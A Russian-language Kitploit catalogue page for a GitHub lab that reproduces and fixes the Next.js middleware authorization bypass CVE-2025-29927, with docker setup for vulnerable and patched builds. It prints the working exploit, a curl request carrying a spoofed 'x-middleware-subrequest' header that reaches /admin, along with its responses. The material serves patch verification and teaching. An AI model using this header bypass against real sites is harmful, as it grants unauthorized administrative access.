Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-29927 — Воспроизведение и исправление уязвимости CVE-2025-29927. | Kitploit
Инструменты/GitHubGitHub/bongni/cve-2025-29927
Безопасность контейнеровАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеОбучение и Образование
GitHubbongni/cve-2025-29927

CVE-2025-29927

Воспроизведение и исправление уязвимости CVE-2025-29927.

Репозиторий
119 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2025-29927

Воспроизведение и исправление уязвимости CVE-2025-29927.

root@kitploit:~
git clone [email protected]:Bongni/CVE-2025-29927.git
cd CVE-2025-29927

В vulnerable/ находится версия приложения, уязвимая для атаки. В fixed/ находится версия приложения, обновлённая до минимальной версии, устраняющей уязвимость.

⚠️ Важно: Эти примеры предоставлены для защитников, исследователей и команд, проверяющих исправления. Не запускайте эти образы в публичных или производственных сетях. Тестируйте только в системах, которыми вы владеете или на которые имеете явное письменное разрешение.

Уязвимая версия

Воспроизведение уязвимости CVE-2025-29927.

Сборка и запуск docker-контейнера

root@kitploit:~
cd vulnerable/
docker build -t next-app-vuln .
docker run -p 3000:3000 next-app-vuln

Запуск эксплойта

Выполните эту команду, которая должна перенаправить на страницу входа

root@kitploit:~
curl -i http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

Затем выполните эту команду, которая должна получить доступ к странице администратора

root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 200 OK
X-Powered-By: Next.js
ETag: "nr3m78x84avh"
Content-Type: text/html; charset=utf-8
Content-Length: 1133
Vary: Accept-Encoding
Date: Wed, 08 Oct 2025 22:54:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

...

Исправленная версия

Исправление уязвимости CVE-2025-29927.

Сборка и запуск docker-контейнера

root@kitploit:~
cd fixed/
docker build -t next-app-fixed .
docker run -p 3000:3000 next-app-fixed

Запуск эксплойта

Выполните эту команду, которая должна перенаправить на страницу входа

root@kitploit:~
curl -i http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

Затем выполните эту команду, которая теперь также должна быть перенаправлена на страницу входа

root@kitploit:~
curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/admin
root@kitploit:~
HTTP/1.1 307 Temporary Redirect
location: /login
Date: Wed, 08 Oct 2025 03:37:24 GMT
Connection: keep-alive
Keep-Alive: timeout=5
Transfer-Encoding: chunked

Ссылки

Этот репозиторий основан на l1uk/nextjs-middleware-exploit, но адаптирован для версии 15.x Next.js.

Скачать инструмент